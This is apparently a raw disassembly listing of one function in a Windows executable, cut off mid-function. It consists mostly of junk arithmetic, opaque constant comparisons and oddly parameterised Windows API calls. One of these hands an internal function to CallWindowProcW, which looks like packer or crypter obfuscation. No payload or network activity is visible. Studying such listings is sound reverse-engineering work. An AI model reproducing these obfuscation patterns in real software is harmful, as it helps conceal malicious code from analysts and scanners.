movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x29c8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xaa], al
mov eax, dword [rsp + 0x1544]
movzx ecx, al
mov eax, dword [rsp + 0x1558]
shl eax, cl
mov dword [rsp + 0x14f8], eax
mov rax, qword [rsp + 0x2970]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2a28]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x28f0], rax
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [rsp + 0x27a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2808], rax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x143c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14e0], eax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1400b9e10], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xab], al
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [0x1400b9e14]
and eax, ecx
mov word [rsp + 0x5d0], ax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2a38]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x152c], eax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28b8]
movzx ecx, al
mov rax, qword [rsp + 0x28f0]
shl rax, cl
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x29d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xa9]
xor eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaa], al
mov eax, dword [rsp + 0x152c]
mov ecx, dword [rsp + 0x1544]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x14d8], eax
mov rax, qword [rsp + 0x28b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x143c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2a28]
mov rcx, qword [rsp + 0x24e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [0x1400b9008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
cmp dword [rsp + 0x1574], 0xd6d4
jb 0x140008e34
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x28f8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jle 0x140009342
movzx ecx, byte [rsp + 0xab]
call fcn.1400a0b80
nop
jmp 0x14009f152
mov rax, qword [rsp + 0x2838]
mov rcx, qword [rsp + 0x2878]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x14e0]
mov edx, dword [rsp + 0x143c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x1400093de
mov qword [rsp + 0x20], 0x5e
mov r9d, 0x7b
mov r8d, 0x38
mov rdx, qword [rsp + 0x2a48]
lea rcx, [fcn.1400a0b80]
call qword [sym.imp.USER32.dll_CallWindowProcW]
mov qword [rsp + 0x2aa0], rax
mov rax, qword [rsp + 0x28e8]
mov ecx, dword [rsp + 0x1510]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2808], rax
mov eax, dword [rsp + 0x14d8]
mov ecx, dword [rsp + 0x1488]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28e8]
mov rdx, qword [rsp + 0x2a38]
mov edx, dword [rdx]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
je 0x140009418
movzx ecx, byte [rsp + 0xab]
call fcn.14009fbf0
nop
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1488]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1460]
mov edx, dword [rsp + 0x1510]
shr edx, cl
mov ecx, edx
cmp eax, ecx
ja 0x14009f070
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [rsp + 0x24e0]
sub rcx, rax
mov rax, rcx
mov qword [0x1400b9018], rax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
add eax, ecx
movzx ecx, word [0x1400b9e14]
mov rdx, qword [rsp + 0x2978]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x1400095ad
mov rax, qword [rsp + 0x27a8]
mov qword [rsp + 0x2aa8], rax
movabs rax, 0xdb11dc5db65b272b
cmp qword [rsp + 0x2aa8], rax
je 0x1400094be
jmp 0x14000958f
mov r8d, 0xf
mov edx, 0x3a
mov rcx, qword [rsp + 0x2ab0]
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov dword [rsp + 0x1498], eax
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaa], al
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x29c8]
movzx eax, byte [rax]
mov byte [rsp + 0x159c], al
cmp byte [rsp + 0x159c], 0xb
je 0x140009537
jmp 0x14000956d
mov r8, qword [rsp + 0x2a00]
mov edx, 0x54
mov ecx, 0xde
call qword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov dword [rsp + 0x1528], eax
mov edx, dword [rsp + 0x143c]
mov rcx, qword [rsp + 0x2a28]
call fcn.1400a03d0
nop
jmp 0x14000958d
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c8]
add eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
jmp 0x1400095ad
mov rax, qword [rsp + 0x2800]
mov rcx, qword [rsp + 0x24e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x28f0], rax
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov dword [rsp + 0x15a0], eax
cmp dword [rsp + 0x15a0], 0x2e59
je 0x1400095d1
jmp 0x1400096e9
mov r9d, 0x34
lea r8, [rsp + 0xef60]
mov edx, 5
mov rcx, qword [rsp + 0x2a48]
call qword [sym.imp.USER32.dll_GetDlgItemTextW]
mov dword [rsp + 0x1564], eax
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5d0]
and eax, ecx
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x2948]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
je 0x1400096e7
mov rax, qword [rsp + 0x2a40]
mov ecx, dword [rsp + 0x14e0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2930]
mov rax, qword [rax]
mov qword [rsp + 0x2ab8], rax
movabs rax, 0x64792c996ff61812
cmp qword [rsp + 0x2ab8], rax
je 0x140009671
jmp 0x1400096ca
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x14d8]
shr eax, cl
mov dword [rsp + 0x1510], eax
lea rdx, [rsp + 0xebe0]
mov ecx, 0xdd
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [rsp + 0x14f8], eax
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x25f0]
shl rax, cl
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
jmp 0x1400096e7
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov word [rsp + 0x5bc], ax
jmp 0x14000973f
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [0x1400b9004], al
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov word [rsp + 0x5d4], ax
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov eax, dword [rsp + 0x14d0]
add eax, 0xcb
mov dword [rsp + 0x14d0], eax
mov eax, dword [rsp + 0x143c]
mov ecx, dword [rsp + 0x14e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2a38]
mov ecx, dword [rsp + 0x1460]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [0x1400b9018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [0x1400b9e14]
sub eax, ecx
mov word [rsp + 0x5d0], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
add eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x27a8]
shr rax, cl
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x29d0]
mov rcx, qword [rsp + 0x2a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x2a38]
mov ecx, dword [rsp + 0x153c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xa9]
and eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov word [rsp + 0x5bc], ax
cmp dword [rsp + 0x14d0], 0x64d0
jne 0x14000973f
movzx eax, word [rsp + 0x5c4]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x29d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x14e0]
shl eax, cl
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2848]
mov qword [rsp + 0x2ac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ac0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1510]
or ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
xor eax, ecx
mov byte [rsp + 0xa9], al
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
add eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
mov eax, dword [rsp + 0x14c8]
add eax, 0x9a
mov dword [rsp + 0x14c8], eax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [rsp + 0xac]
add eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [rsp + 0x27a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
cmp dword [rsp + 0x14c8], 0xfefa
jne 0x1400099a2
cmp dword [rsp + 0x1464], 0x6ac3
jb 0x140009dd0
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1510]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x152c], eax
mov eax, dword [rsp + 0x143c]
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x142c], eax
mov rax, qword [rsp + 0x28f0]
mov rcx, qword [rsp + 0x2a28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5d0], ax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
or eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov eax, dword [rsp + 0x1464]
sub eax, 0x45
mov dword [rsp + 0x1464], eax
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1510]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x142c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2970]
mov rcx, qword [rsp + 0x2840]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x5c8]
movzx ecx, word [rsp + 0x404]
add eax, ecx
mov rcx, qword [rsp + 0x29d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa8]
add eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xac]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x2840]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x24e0], rax
mov rax, qword [rsp + 0x28d0]
mov rcx, qword [rsp + 0x28e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x25f0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
jmp 0x140009b2e
cmp dword [rsp + 0x1534], 0x7828
jbe 0x14000a171
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5d4]
shl eax, cl
mov word [0x1400b9e14], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov byte [rsp + 0xa8], al
movzx eax, word [0x1400b9e14]
movzx ecx, word [rsp + 0x5d4]
xor eax, ecx
mov rcx, qword [rsp + 0x29d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xac]
movsx ecx, byte [0x1400b9e10]
and eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [rsp + 0x2a28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x29d0]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x143c], eax
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1558]
mov ecx, dword [rsp + 0x14f8]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
and eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa8], al
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xab], al
movsx eax, byte [rsp + 0xac]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1488]
mov dword [rsp + 0x1558], eax
mov rax, qword [rsp + 0x2970]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov eax, dword [rsp + 0x143c]
mov ecx, dword [rsp + 0x142c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c8]
sub eax, ecx
mov word [rsp + 0x404], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [rsp + 0xac]
add eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5cc]
add eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2970]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x28f0], rax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x143c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1534]
sub eax, 0x22
mov dword [rsp + 0x1534], eax
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x152c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5d4], ax
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
jmp 0x140009dd0
cmp dword [rsp + 0x1438], 0x78f8
je 0x14000a648
movsx eax, byte [rsp + 0xac]
movsx ecx, byte [0x1400b9e10]
or eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x2948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov word [rsp + 0x404], ax
mov eax, dword [rsp + 0x1438]
add eax, 0xe2
mov dword [rsp + 0x1438], eax
mov rax, qword [rsp + 0x29d0]
mov ecx, dword [rsp + 0x14e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x143c], eax
mov eax, dword [rsp + 0x1564]
mov ecx, dword [rsp + 0x153c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14f8], eax
mov rax, qword [rsp + 0x2970]
mov rcx, qword [rsp + 0x2930]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x29c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5c0], ax
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a28]
mov rcx, qword [rsp + 0x28f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28d0]
mov ecx, dword [rsp + 0x1564]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2888]
mov qword [rsp + 0x2ac8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ac8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x25f0], rax
mov eax, dword [rsp + 0x14e0]
mov rcx, qword [rsp + 0x2a40]
mov qword [rsp + 0x2ad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ad0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x29c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1400b9e10], al
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
and eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
movzx eax, word [rsp + 0x5d4]
movzx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov eax, dword [rsp + 0x153c]
mov ecx, dword [rsp + 0x1488]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2888]
